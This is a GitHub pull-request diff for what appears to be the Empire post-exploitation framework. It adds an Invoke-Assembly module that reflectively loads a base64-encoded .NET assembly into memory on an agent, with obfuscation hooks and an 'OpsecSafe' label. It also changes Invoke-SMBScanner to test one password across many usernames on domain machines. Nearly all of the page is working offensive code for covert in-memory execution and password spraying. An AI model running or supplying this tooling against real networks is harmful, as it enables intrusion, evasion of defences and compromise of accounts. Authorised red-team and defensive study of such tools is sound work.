Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SMBScanner and lateral_movement fixes #379

Closed
wants to merge 2 commits into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
51 changes: 51 additions & 0 deletions data/module_source/code_execution/Invoke-Assembly.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,51 @@
# Modified version of Invoke-Assembly
Function Invoke-Assembly {
[CmdletBinding()]
Param (
[Parameter()]
[String[]]$Arguments = ""
)
$foundMain = $false
$asm_data = "~~ASSEMBLY~~"
try {
$assembly = [Reflection.Assembly]::Load([Convert]::FromBase64String($asm_data))
}
catch {
Write-Output "[!] Could not load assembly. Is it in COFF/MSIL/.NET format?"
throw
}
foreach($type in $assembly.GetExportedTypes()) {
foreach($method in $type.GetMethods()) {
if($method.Name -eq "Main") {
$foundMain = $true
if($Arguments[0] -eq "") {
Write-Output "Attempting to load assembly with no arguments"
}
else {
Write-Output "Attempting to load assembly with arguments: $Arguments"
}
$a = (,[String[]]@($Arguments))

$prevConOut = [Console]::Out
$sw = [IO.StringWriter]::New()
[Console]::SetOut($sw)

try {
$method.Invoke($null, $a)
}
catch {
Write-Output "[!] Could not invoke assembly or program crashed during execution"
throw
}

[Console]::SetOut($PrevConOut)
$output = $sw.ToString()
Write-Output $output
}
}
}
if(!$foundMain) {
Write-Output "[!] Could not find public Main() function. Did you set the namespace as public?"
throw
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -6,41 +6,17 @@ function Invoke-SMBScanner {
If no machines are specified, the domain will be queries for active machines.
For domain accounts, use the form DOMAIN\username for username specifications.

Author: Chris Campbell (@obscuresec), mods by @harmj0y
Author: Chris Campbell (@obscuresec), mods by @harmj0y, more mods by @kevin
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
Version: 0.1.0
Version: 0.1.1

.DESCRIPTION

Tests a username/password combination across a number of machines.
If no machines are specified, the domain will be queries for active machines.
For domain accounts, use the form DOMAIN\username for username specifications.

.EXAMPLE

PS C:\> Invoke-SMBScanner -ComputerName WINDOWS4 -UserName test123 -Password password123456! -Domain

ComputerName Password Username
---- -------- --------
WINDOWS4 password123456! test123


.EXAMPLE

PS C:\> Get-Content 'c:\demo\computers.txt' | Invoke-SMBScanner -UserName dev\\test -Password 'Passsword123456!'

ComputerName Password Username
---- -------- --------
WINDOWS3 password123456! dev\\test
WINDOWS4 password123456! dev\\test

...


.LINK

For domain accounts, specify a domain to query

#>

Expand All @@ -49,24 +25,27 @@ function Invoke-SMBScanner {
[String] $ComputerName,

[parameter(Mandatory = $True)]
[String] $UserName,
[String[]] $Usernames,

[parameter(Mandatory = $True)]
[String] $Password,

[parameter(Mandatory = $False)]
[String] $Domain,

[parameter(Mandatory = $False)]
[Switch] $NoPing
)

Begin {
Set-StrictMode -Version 2
[Collections.ArrayList]$OutList = @()
#try to load assembly
Try {Add-Type -AssemblyName System.DirectoryServices.AccountManagement}
Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage}
}

Process {

$ComputerNames = @()

# if no computer names are specified, try to query the current domain
Expand All @@ -83,8 +62,7 @@ function Invoke-SMBScanner {
}

foreach ($Computer in $ComputerNames){

Try {
try {

Write-Verbose "Checking: $Computer"

Expand All @@ -94,36 +72,36 @@ function Invoke-SMBScanner {
}
if($up){

if ($Username.contains("\\")) {
# if there's a \ in the username, assume we're checking a domain account
if ($Domain) {
$ContextType = [System.DirectoryServices.AccountManagement.ContextType]::Domain
}
else{
# otherwise assume a local account
$Domain = "<None>"
$ContextType = [System.DirectoryServices.AccountManagement.ContextType]::Machine
}

$PrincipalContext = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($ContextType, $Computer)

$Valid = $PrincipalContext.ValidateCredentials($Username, $Password).ToString()

If ($Valid) {
Write-Verbose "SUCCESS: $Username works with $Password on $Computer"
foreach($Username in $Usernames) {
$PrincipalContext = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($ContextType, $Computer)
$Valid = $PrincipalContext.ValidateCredentials($Username, $Password).ToString()

$out = new-object psobject
$out | add-member Noteproperty 'ComputerName' $Computer
$out | add-member Noteproperty 'Domain' $Domain
$out | add-member Noteproperty 'Username' $Username
$out | add-member Noteproperty 'Password' $Password
$out
}

Else {
Write-Verbose "FAILURE: $Username did not work with $Password on $ComputerName"
$out | add-member Noteproperty 'Valid' $Valid
$null = $OutList.Add($out)
}
}
}

Catch {Write-Error $($Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage)}
catch {
Write-Error $($Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage)
}
}
}
}
End {
$OutList | Format-Table
Write-Output "SMBScanner execution completed"
}
}
142 changes: 142 additions & 0 deletions lib/modules/powershell/code_execution/invoke_assembly.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,142 @@
from __future__ import print_function

from builtins import str
from builtins import object
from lib.common import helpers
import base64


class Module(object):

def __init__(self, mainMenu, params=[]):

self.info = {
'Name': 'Invoke-Assembly',

'Author': ['@kevin'],

'Description': "Loads the specified assembly into memory and invokes the main method. "
"The Main method and class containing Main must both be PUBLIC for "
"Invoke-Assembly to execute it",

'Software': '',

'Techniques': ['T1059'],

'Background': True,

'OutputExtension': None,

'NeedsAdmin': False,

'OpsecSafe': True,

'Language': 'powershell',

'MinLanguageVersion': '2',

'Comments': [
'Assemblies are loaded with reflection into the current process. This method is',
'different than Cobalt Strike\'s execute-assembly as it does not create a new process',
'or inject any code via WriteProcessMemory',
]
}

self.options = {
'Agent': {
'Description': 'Agent to run module on.',
'Required': True,
'Value': ''
},
'Assembly': {
'Description': 'Local path to the .NET assembly (.exe)',
'Required': True,
'Value': ''
},
'Arguments': {
'Description': 'Any arguments to be passed to the assembly',
'Required': False,
'Value': ''
}
}

self.mainMenu = mainMenu

if params:
for param in params:
option, value = param
if option in self.options:
self.options[option]['Value'] = value


def generate(self, obfuscate=False, obfuscationCommand=""):

# Helper function for arguments
def parse_assembly_args(args):
stringlist = []
stringbuilder = ""
inside_quotes = False

if(not args):
return('""')
for ch in args:
if(ch == " " and not inside_quotes):
stringlist.append(stringbuilder) # Add finished string to the list
stringbuilder = "" # Reset the string
elif(ch == '"'):
inside_quotes = not inside_quotes
else: # Ch is a normal character
stringbuilder += ch # Add next ch to string

# Finally...
stringlist.append(stringbuilder)
for arg in stringlist:
if(arg == ""):
stringlist.remove(arg)

argument_string = '","'.join(stringlist)
# Replace backslashes with a literal backslash so an operator can type a file path like C:\windows\system32 instead of C:\\windows\\system32
argument_string = argument_string.replace("\\", "\\\\")
return('"' + argument_string + '"')


module_source = self.mainMenu.installPath + "/data/module_source/code_execution/Invoke-Assembly.ps1"
script_end = "\nInvoke-Assembly"

if obfuscate:
helpers.obfuscate_module(moduleSource=module_source, obfuscationCommand=obfuscationCommand)
module_source = module_source.replace("module_source", "obfuscated_module_source")
try:
f = open(module_source, 'r')
except:
print(helpers.color("[!] Could not read module source path at: " + str(module_source)))
return ""
module_code = f.read()
f.close()

try:
f = open(self.options['Assembly']['Value'], 'rb')
except:
print(helpers.color("[!] Could not read .NET assembly path at: " + str(self.options['Arguments']['Value'])))
return ""

assembly_data = f.read()
f.close()
module_code = module_code.replace("~~ASSEMBLY~~", base64.b64encode(assembly_data).decode('utf-8'))
script = module_code

# Do some parsing on the operator's arguments so it can be formatted for Powershell
if self.options['Arguments']['Value'] != '':
assembly_args = parse_assembly_args(self.options['Arguments']['Value'])

# Add any arguments to the end execution of the script
if self.options['Arguments']['Value'] != '':
script_end += " -" + "Arguments" + " " + assembly_args

if obfuscate:
script_end = helpers.obfuscate(psScript=script_end, installPath=self.mainMenu.installPath,
obfuscationCommand=obfuscationCommand)
script += script_end
script = helpers.keyword_obfuscation(script)

return script
Loading